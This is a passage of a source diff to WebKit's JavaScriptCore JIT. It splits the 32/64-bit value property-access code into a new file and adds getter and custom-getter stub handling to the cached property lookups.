-void JIT::privateCompileGetByIdChainList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, StructureChain* chain, size_t count, size_t cachedOffset, CallFrame* callFrame)
-{
-    // regT0 holds a JSCell*
-    
-    ASSERT(count);
-    
-    JumpList bucketsOfFail;
-
-    // Check eax is an object of the right Structure.
-    bucketsOfFail.append(checkStructure(regT0, structure));
-
-    Structure* currStructure = structure;
-    RefPtr<Structure>* chainEntries = chain->head();
-    JSObject* protoObject = 0;
-    for (unsigned i = 0; i < count; ++i) {
-        protoObject = asObject(currStructure->prototypeForLookup(callFrame));
-        currStructure = chainEntries[i].get();
-
-        // Check the prototype object's Structure had not changed.
-        Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
-        move(ImmPtr(currStructure), regT3);
-        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3));
-#else
-        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(currStructure)));
-#endif
-    }
-    ASSERT(protoObject);
-
-    compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
-    Jump success = jump();
-
-    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
-
-    // Use the patch information to link the failure cases back to the original slow case routine.
-    CodeLocationLabel lastProtoBegin = prototypeStructures->list[currentIndex - 1].stubRoutine;
-
-    patchBuffer.link(bucketsOfFail, lastProtoBegin);
-
-    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
-    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
-
-    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
-
-    // Track the stub we have created so that it will be deleted later.
-    structure->ref();
-    chain->ref();
-    prototypeStructures->list[currentIndex].set(entryLabel, structure, chain);
-
-    // Finally patch the jump to slow case back in the hot path to jump here instead.
-    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
-    RepatchBuffer repatchBuffer(m_codeBlock);
-    repatchBuffer.relink(jumpLocation, entryLabel);
-}
-
-void JIT::privateCompileGetByIdChain(StructureStubInfo* stubInfo, Structure* structure, StructureChain* chain, size_t count, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
-{
-    // regT0 holds a JSCell*
-    
-    ASSERT(count);
-    
-    JumpList bucketsOfFail;
-
-    // Check eax is an object of the right Structure.
-    bucketsOfFail.append(checkStructure(regT0, structure));
-
-    Structure* currStructure = structure;
-    RefPtr<Structure>* chainEntries = chain->head();
-    JSObject* protoObject = 0;
-    for (unsigned i = 0; i < count; ++i) {
-        protoObject = asObject(currStructure->prototypeForLookup(callFrame));
-        currStructure = chainEntries[i].get();
-
-        // Check the prototype object's Structure had not changed.
-        Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
-        move(ImmPtr(currStructure), regT3);
-        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3));
-#else
-        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(currStructure)));
-#endif
-    }
-    ASSERT(protoObject);
-
-    compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
-    Jump success = jump();
-
-    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
-
-    // Use the patch information to link the failure cases back to the original slow case routine.
-    patchBuffer.link(bucketsOfFail, stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall));
-
-    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
-    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
-
-    // Track the stub we have created so that it will be deleted later.
-    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
-    stubInfo->stubRoutine = entryLabel;
-
-    // Finally patch the jump to slow case back in the hot path to jump here instead.
-    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
-    RepatchBuffer repatchBuffer(m_codeBlock);
-    repatchBuffer.relink(jumpLocation, entryLabel);
-
-    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
-    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_proto_list));
-}
-
-/* ------------------------------ END: !ENABLE / ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS) ------------------------------ */
-
-#endif // !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
-
-void JIT::compileGetDirectOffset(RegisterID base, RegisterID resultTag, RegisterID resultPayload, RegisterID structure, RegisterID offset)
-{
-    ASSERT(sizeof(((Structure*)0)->m_propertyStorageCapacity) == sizeof(int32_t));
-    ASSERT(sizeof(JSObject::inlineStorageCapacity) == sizeof(int32_t));
-    ASSERT(sizeof(JSValue) == 8);
-
-    Jump notUsingInlineStorage = branch32(NotEqual, Address(structure, OBJECT_OFFSETOF(Structure, m_propertyStorageCapacity)), Imm32(JSObject::inlineStorageCapacity));
-    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSObject, m_inlineStorage)+OBJECT_OFFSETOF(JSValue, u.asBits.payload)), resultPayload);
-    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSObject, m_inlineStorage)+OBJECT_OFFSETOF(JSValue, u.asBits.tag)), resultTag);
-    Jump finishedLoad = jump();
-    notUsingInlineStorage.link(this);
-    loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), base);
-    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSValue, u.asBits.payload)), resultPayload);
-    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSValue, u.asBits.tag)), resultTag);
-    finishedLoad.link(this);
-}
-
-void JIT::emit_op_get_by_pname(Instruction* currentInstruction)
-{
-    unsigned dst = currentInstruction[1].u.operand;
-    unsigned base = currentInstruction[2].u.operand;
-    unsigned property = currentInstruction[3].u.operand;
-    unsigned expected = currentInstruction[4].u.operand;
-    unsigned iter = currentInstruction[5].u.operand;
-    unsigned i = currentInstruction[6].u.operand;
-
-    emitLoad2(property, regT1, regT0, base, regT3, regT2);
-    emitJumpSlowCaseIfNotJSCell(property, regT1);
-    addSlowCase(branchPtr(NotEqual, regT0, payloadFor(expected)));
-    // Property registers are now available as the property is known
-    emitJumpSlowCaseIfNotJSCell(base, regT3);
-    emitLoadPayload(iter, regT1);
-    
-    // Test base's structure
-    loadPtr(Address(regT2, OBJECT_OFFSETOF(JSCell, m_structure)), regT0);
-    addSlowCase(branchPtr(NotEqual, regT0, Address(regT1, OBJECT_OFFSETOF(JSPropertyNameIterator, m_cachedStructure))));
-    load32(addressFor(i), regT3);
-    sub32(Imm32(1), regT3);
-    addSlowCase(branch32(AboveOrEqual, regT3, Address(regT1, OBJECT_OFFSETOF(JSPropertyNameIterator, m_numCacheableSlots))));
-    compileGetDirectOffset(regT2, regT1, regT0, regT0, regT3);    
-
-    emitStore(dst, regT1, regT0);
-    map(m_bytecodeIndex + OPCODE_LENGTH(op_get_by_pname), dst, regT1, regT0);
-}
-
-void JIT::emitSlow_op_get_by_pname(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    unsigned dst = currentInstruction[1].u.operand;
-    unsigned base = currentInstruction[2].u.operand;
-    unsigned property = currentInstruction[3].u.operand;
-    
-    linkSlowCaseIfNotJSCell(iter, property);
-    linkSlowCase(iter);
-    linkSlowCaseIfNotJSCell(iter, base);
-    linkSlowCase(iter);
-    linkSlowCase(iter);
-    
-    JITStubCall stubCall(this, cti_op_get_by_val);
-    stubCall.addArgument(base);
-    stubCall.addArgument(property);
-    stubCall.call(dst);
-}
-
-#else // USE(JSVALUE32_64)
-
 void JIT::emit_op_get_by_val(Instruction* currentInstruction)
 {
     unsigned dst = currentInstruction[1].u.operand;
@@ -1031,6 +83,20 @@ void JIT::emit_op_get_by_val(Instruction* currentInstruction)
     emitPutVirtualRegister(dst);
 }
 
+void JIT::compileGetDirectOffset(RegisterID base, RegisterID result, RegisterID structure, RegisterID offset, RegisterID scratch)
+{
+    ASSERT(sizeof(((Structure*)0)->m_propertyStorageCapacity) == sizeof(int32_t));
+    ASSERT(sizeof(JSObject::inlineStorageCapacity) == sizeof(int32_t));
+
+    Jump notUsingInlineStorage = branch32(NotEqual, Address(structure, OBJECT_OFFSETOF(Structure, m_propertyStorageCapacity)), Imm32(JSObject::inlineStorageCapacity));
+    loadPtr(BaseIndex(base, offset, ScalePtr, OBJECT_OFFSETOF(JSObject, m_inlineStorage)), result);
+    Jump finishedLoad = jump();
+    notUsingInlineStorage.link(this);
+    loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), scratch);
+    loadPtr(BaseIndex(scratch, offset, ScalePtr, 0), result);
+    finishedLoad.link(this);
+}
+
 void JIT::emit_op_get_by_pname(Instruction* currentInstruction)
 {
     unsigned dst = currentInstruction[1].u.operand;
@@ -1457,20 +523,6 @@ void JIT::compileGetDirectOffset(JSObject* base, RegisterID temp, RegisterID res
     } 
 }
 
-void JIT::compileGetDirectOffset(RegisterID base, RegisterID result, RegisterID structure, RegisterID offset, RegisterID scratch)
-{
-    ASSERT(sizeof(((Structure*)0)->m_propertyStorageCapacity) == sizeof(int32_t));
-    ASSERT(sizeof(JSObject::inlineStorageCapacity) == sizeof(int32_t));
-
-    Jump notUsingInlineStorage = branch32(NotEqual, Address(structure, OBJECT_OFFSETOF(Structure, m_propertyStorageCapacity)), Imm32(JSObject::inlineStorageCapacity));
-    loadPtr(BaseIndex(base, offset, ScalePtr, OBJECT_OFFSETOF(JSObject, m_inlineStorage)), result);
-    Jump finishedLoad = jump();
-    notUsingInlineStorage.link(this);
-    loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), scratch);
-    loadPtr(BaseIndex(scratch, offset, ScalePtr, 0), result);    
-    finishedLoad.link(this);
-}
-
 void JIT::testPrototype(Structure* structure, JumpList& failureCases)
 {
     if (structure->m_prototype.isNull())
@@ -1574,7 +626,6 @@ void JIT::patchMethodCallProto(CodeBlock* codeBlock, MethodCallLinkInfo& methodC
     structure->ref();
 
     Structure* prototypeStructure = proto->structure();
-    ASSERT(!methodCallLinkInfo.cachedPrototypeStructure);
     methodCallLinkInfo.cachedPrototypeStructure = prototypeStructure;
     prototypeStructure->ref();
 
@@ -1645,7 +696,7 @@ void JIT::privateCompilePatchGetArrayLength(ReturnAddressPtr returnAddress)
     repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_array_fail));
 }
 
-void JIT::privateCompileGetByIdProto(StructureStubInfo* stubInfo, Structure* structure, Structure* prototypeStructure, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
+void JIT::privateCompileGetByIdProto(StructureStubInfo* stubInfo, Structure* structure, Structure* prototypeStructure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
 {
     // The prototype object definitely exists (if this stub exists the CodeBlock is referencing a Structure that is
     // referencing the prototype object - let's speculatively load it's table nice and early!)
@@ -1656,18 +707,35 @@ void JIT::privateCompileGetByIdProto(StructureStubInfo* stubInfo, Structure* str
 
     // Check the prototype object's Structure had not changed.
     Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     move(ImmPtr(prototypeStructure), regT3);
     Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3);
 #else
     Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(prototypeStructure));
 #endif
 
-    // Checks out okay! - getDirectOffset
-    compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
-
+    bool needsStubLink = false;
+    
+    // Checks out okay!
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT1, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
     Jump success = jump();
-
     LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
 
     // Use the patch information to link the failure cases back to the original slow case routine.
@@ -1678,6 +746,12 @@ void JIT::privateCompileGetByIdProto(StructureStubInfo* stubInfo, Structure* str
     // On success return back to the hot patch code, at a point it will perform the store to dest for us.
     patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
 
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
     // Track the stub we have created so that it will be deleted later.
     CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
     stubInfo->stubRoutine = entryLabel;
@@ -1691,14 +765,43 @@ void JIT::privateCompileGetByIdProto(StructureStubInfo* stubInfo, Structure* str
     repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_proto_list));
 }
 
-void JIT::privateCompileGetByIdSelfList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* polymorphicStructures, int currentIndex, Structure* structure, size_t cachedOffset)
+void JIT::privateCompileGetByIdSelfList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* polymorphicStructures, int currentIndex, Structure* structure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset)
 {
     Jump failureCase = checkStructure(regT0, structure);
-    compileGetDirectOffset(regT0, regT0, structure, cachedOffset);
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        if (!structure->isUsingInlineStorage()) {
+            move(regT0, regT1);
+            compileGetDirectOffset(regT1, regT1, structure, cachedOffset);
+        } else
+            compileGetDirectOffset(regT0, regT1, structure, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(regT0, regT0, structure, cachedOffset);
     Jump success = jump();
 
     LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
 
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
+
     // Use the patch information to link the failure cases back to the original slow case routine.
     CodeLocationLabel lastProtoBegin = polymorphicStructures->list[currentIndex - 1].stubRoutine;
     if (!lastProtoBegin)
@@ -1720,7 +823,7 @@ void JIT::privateCompileGetByIdSelfList(StructureStubInfo* stubInfo, Polymorphic
     repatchBuffer.relink(jumpLocation, entryLabel);
 }
 
-void JIT::privateCompileGetByIdProtoList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, Structure* prototypeStructure, size_t cachedOffset, CallFrame* callFrame)
+void JIT::privateCompileGetByIdProtoList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, Structure* prototypeStructure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, CallFrame* callFrame)
 {
     // The prototype object definitely exists (if this stub exists the CodeBlock is referencing a Structure that is
     // referencing the prototype object - let's speculatively load it's table nice and early!)
@@ -1731,20 +834,45 @@ void JIT::privateCompileGetByIdProtoList(StructureStubInfo* stubInfo, Polymorphi
 
     // Check the prototype object's Structure had not changed.
     Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     move(ImmPtr(prototypeStructure), regT3);
     Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3);
 #else
     Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(prototypeStructure));
 #endif
 
-    // Checks out okay! - getDirectOffset
-    compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
+    // Checks out okay!
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT1, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
 
     Jump success = jump();
 
     LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
 
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
+
     // Use the patch information to link the failure cases back to the original slow case routine.
     CodeLocationLabel lastProtoBegin = prototypeStructures->list[currentIndex - 1].stubRoutine;
     patchBuffer.link(failureCases1, lastProtoBegin);
@@ -1765,10 +893,9 @@ void JIT::privateCompileGetByIdProtoList(StructureStubInfo* stubInfo, Polymorphi
     repatchBuffer.relink(jumpLocation, entryLabel);
 }
 
-void JIT::privateCompileGetByIdChainList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, StructureChain* chain, size_t count, size_t cachedOffset, CallFrame* callFrame)
+void JIT::privateCompileGetByIdChainList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, StructureChain* chain, size_t count, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, CallFrame* callFrame)
 {
     ASSERT(count);
-    
     JumpList bucketsOfFail;
 
     // Check eax is an object of the right Structure.
@@ -1784,7 +911,7 @@ void JIT::privateCompileGetByIdChainList(StructureStubInfo* stubInfo, Polymorphi
 
         // Check the prototype object's Structure had not changed.
         Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         move(ImmPtr(currStructure), regT3);
         bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3));
 #else
@@ -1792,11 +919,36 @@ void JIT::privateCompileGetByIdChainList(StructureStubInfo* stubInfo, Polymorphi
 #endif
     }
     ASSERT(protoObject);
-
-    compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
+    
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT1, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
     Jump success = jump();
 
     LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
 
     // Use the patch information to link the failure cases back to the original slow case routine.
     CodeLocationLabel lastProtoBegin = prototypeStructures->list[currentIndex - 1].stubRoutine;
@@ -1819,10 +971,10 @@ void JIT::privateCompileGetByIdChainList(StructureStubInfo* stubInfo, Polymorphi
     repatchBuffer.relink(jumpLocation, entryLabel);
 }
 
-void JIT::privateCompileGetByIdChain(StructureStubInfo* stubInfo, Structure* structure, StructureChain* chain, size_t count, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
+void JIT::privateCompileGetByIdChain(StructureStubInfo* stubInfo, Structure* structure, StructureChain* chain, size_t count, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
 {
     ASSERT(count);
-    
+
     JumpList bucketsOfFail;
 
     // Check eax is an object of the right Structure.
@@ -1837,7 +989,7 @@ void JIT::privateCompileGetByIdChain(StructureStubInfo* stubInfo, Structure* str
 
         // Check the prototype object's Structure had not changed.
         Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         move(ImmPtr(currStructure), regT3);
         bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3));
 #else
@@ -1846,11 +998,36 @@ void JIT::privateCompileGetByIdChain(StructureStubInfo* stubInfo, Structure* str
     }
     ASSERT(protoObject);
 
-    compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT1, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT1, regT0, cachedOffset);
     Jump success = jump();
 
     LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
 
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
+
     // Use the patch information to link the failure cases back to the original slow case routine.
     patchBuffer.link(bucketsOfFail, stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall));
 
@@ -1874,8 +1051,8 @@ void JIT::privateCompileGetByIdChain(StructureStubInfo* stubInfo, Structure* str
 
 #endif // !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
 
-#endif // USE(JSVALUE32_64)
-
 } // namespace JSC
 
 #endif // ENABLE(JIT)
+
+#endif // !USE(JSVALUE32_64)
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITPropertyAccess32_64.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/JITPropertyAccess32_64.cpp
new file mode 100644
index 0000000..ec33026
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITPropertyAccess32_64.cpp
@@ -0,0 +1,1145 @@
+/*
+ * Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if USE(JSVALUE32_64)
+
+#include "JIT.h"
+
+#if ENABLE(JIT)
+
+#include "CodeBlock.h"
+#include "JITInlineMethods.h"
+#include "JITStubCall.h"
+#include "JSArray.h"
+#include "JSFunction.h"
+#include "JSPropertyNameIterator.h"
+#include "Interpreter.h"
+#include "LinkBuffer.h"
+#include "RepatchBuffer.h"
+#include "ResultType.h"
+#include "SamplingTool.h"
+
+#ifndef NDEBUG
+#include <stdio.h>
+#endif
+
+using namespace std;
+
+namespace JSC {
+    
+void JIT::emit_op_put_by_index(Instruction* currentInstruction)
+{
+    unsigned base = currentInstruction[1].u.operand;
+    unsigned property = currentInstruction[2].u.operand;
+    unsigned value = currentInstruction[3].u.operand;
+    
+    JITStubCall stubCall(this, cti_op_put_by_index);
+    stubCall.addArgument(base);
+    stubCall.addArgument(Imm32(property));
+    stubCall.addArgument(value);
+    stubCall.call();
+}
+
+void JIT::emit_op_put_getter(Instruction* currentInstruction)
+{
+    unsigned base = currentInstruction[1].u.operand;
+    unsigned property = currentInstruction[2].u.operand;
+    unsigned function = currentInstruction[3].u.operand;
+    
+    JITStubCall stubCall(this, cti_op_put_getter);
+    stubCall.addArgument(base);
+    stubCall.addArgument(ImmPtr(&m_codeBlock->identifier(property)));
+    stubCall.addArgument(function);
+    stubCall.call();
+}
+
+void JIT::emit_op_put_setter(Instruction* currentInstruction)
+{
+    unsigned base = currentInstruction[1].u.operand;
+    unsigned property = currentInstruction[2].u.operand;
+    unsigned function = currentInstruction[3].u.operand;
+    
+    JITStubCall stubCall(this, cti_op_put_setter);
+    stubCall.addArgument(base);
+    stubCall.addArgument(ImmPtr(&m_codeBlock->identifier(property)));
+    stubCall.addArgument(function);
+    stubCall.call();
+}
+
+void JIT::emit_op_del_by_id(Instruction* currentInstruction)
+{
+    unsigned dst = currentInstruction[1].u.operand;
+    unsigned base = currentInstruction[2].u.operand;
+    unsigned property = currentInstruction[3].u.operand;
+    
+    JITStubCall stubCall(this, cti_op_del_by_id);
+    stubCall.addArgument(base);
+    stubCall.addArgument(ImmPtr(&m_codeBlock->identifier(property)));
+    stubCall.call(dst);
+}
+
+
+#if !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
+
+/* ------------------------------ BEGIN: !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS) ------------------------------ */
+
+// Treat these as nops - the call will be handed as a regular get_by_id/op_call pair.
+void JIT::emit_op_method_check(Instruction*) {}
+void JIT::emitSlow_op_method_check(Instruction*, Vector<SlowCaseEntry>::iterator&) { ASSERT_NOT_REACHED(); }
+#if ENABLE(JIT_OPTIMIZE_METHOD_CALLS)
+#error "JIT_OPTIMIZE_METHOD_CALLS requires JIT_OPTIMIZE_PROPERTY_ACCESS"
+#endif
+
+void JIT::emit_op_get_by_val(Instruction* currentInstruction)
+{
+    unsigned dst = currentInstruction[1].u.operand;
+    unsigned base = currentInstruction[2].u.operand;
+    unsigned property = currentInstruction[3].u.operand;
+    
